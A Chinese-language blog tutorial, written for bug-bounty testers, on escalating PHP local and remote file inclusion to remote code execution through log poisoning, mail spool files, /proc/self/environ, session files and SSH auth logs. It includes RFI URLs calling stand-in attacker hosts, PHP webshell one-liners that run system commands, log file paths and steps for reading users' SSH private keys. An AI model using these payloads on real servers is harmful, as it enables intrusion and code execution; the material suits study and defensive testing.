从文件包含到RCE方法

前言

大家在参加众测的行动时,若是发现了以下基础危害不大的漏洞,不建议直接提交的,而是应该想办法看,能不能对该漏洞进行升级,扩大其危害,多拿点奖励。当然,文件包含不算常见,经常出现在php程序中

远程文件包含(RFI)

http://www.baidu.com/?page=http://hack.com/1.php
http://www.baidu.com/?page=\\attacker.com\shared\mal.php

通过上传

上传任意格式后缀包含shell代码的文件,然后包含该文件即可。

通过apache日志

中间件的日志是及其容易受到文件包含攻击的,例如:可以通过在GET URL时,在参数中填写<?php eval($_GET['a']);?>,这样,恶意内容就会被包含到web日志中,在通过包含该日志,即可成功的进行代码执行。

常见中间件日志位置

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

尝试将恶意代码写入到日志中。

在这里插入图片描述

可以看到,相关内容是有的,只不过是权限过低,无法读取到。

在这里插入图片描述

通过邮件
条件:要求对应的服务器需要开放25端口

1、通过向系统内部用户发送包含<?php echo system($_REQUEST["cmd"]); ?>内容的邮件。
2、包含/var/mail/[usernamme*]&cmd=whoami,就可以成功的执行whoami命令了。

实验过程

  1. 使用telnet 或者nc 直接链接目标主机的25端口

在这里插入图片描述

2.SMTP 协议规定,连接成功后,必须向邮件服务器提供连接的域名,也就是邮件将从哪台服务器发来。使用EHLO命令或者HELO(现在用的较少)

EHLO www.test.com

在这里插入图片描述

发送命令成功,并且列出了smpt 服务支持的扩展

3.使用VRFY 可以验证邮箱是否存在25X的好像都是存在的。
在这里插入图片描述

4.指定发件任何要发送给谁 MAIL FROM 和 RCPT TO

在这里插入图片描述

5.输入DATA 之后进行输入输入,输入完数据进行两次会车,然后输入".",然后再回车,结束输入,邮件发送成功。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ytGDu7wz-1670667731936)(https://note.youdao.com/yws/res/22746/WEBRESOURCE9bf5d8c9379eace439a034276cee029f)]

6.只要文件包含/var/mail/msfadmin,即可成功达成RCE了。

这个时候我们登录实验机器,cat一下这个文件,就可以看到代码确实被输入到这个里面了。

在这里插入图片描述

通过 /proc/self/environ

经过测试,是可行的

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

在这里插入图片描述

通过php session

这个要看具体程序了,需要程序会将失败的用户名等内容写入到php session中。DVWA就不会将失败的内容写入,所以包含也不会成功的。

通过 /proc/*/fd/

就是程序打开的文件,如果打开的某些文件可控的话,可以向其中注入内容,然后包含该文件即可。

例如

/proc/self/fd/3 可以看出来这个是php session 文件,如果可以向session文件中写入内容的话,那么就可以成功包含相关内容了。

在这里插入图片描述

通过ssh

可以通过/proc/self/status 去读到进程的uid和gid,然后读取/etc/password 的内容,知道自己是什么用户,读取用户的登录私钥,如果用户配置了可以通过密钥登录,那么就成了。 /.ssh/ssh_rsa

在这里插入图片描述

在这里插入图片描述

通过其他服务的日志

例如通过ftp、ssh等

读取日志的时候发现可以读取auth.log 尝试向ssh日志中添加恶意代码,然后包含,成功。

在这里插入图片描述

记得输入yes,小问题,小问题
在这里插入图片描述

在这里插入图片描述

以上都是常见的,如果还是无法解决问题,可以参考这个文档中的其他方式

https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-ssh

参考

https://pswalia2u.medium.com/turning-lfi-into-rce-by-sending-emails-via-smtp-58b499a81de3
https://www.sqlsec.com/2017/08/smtp.html#%E7%AE%80%E4%BB%8B
https://pswalia2u.medium.com/turning-lfi-into-rce-by-sending-emails-via-smtp-58b499a81de3
https://book.hacktricks.xyz/pentesting-web/file-inclusion

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值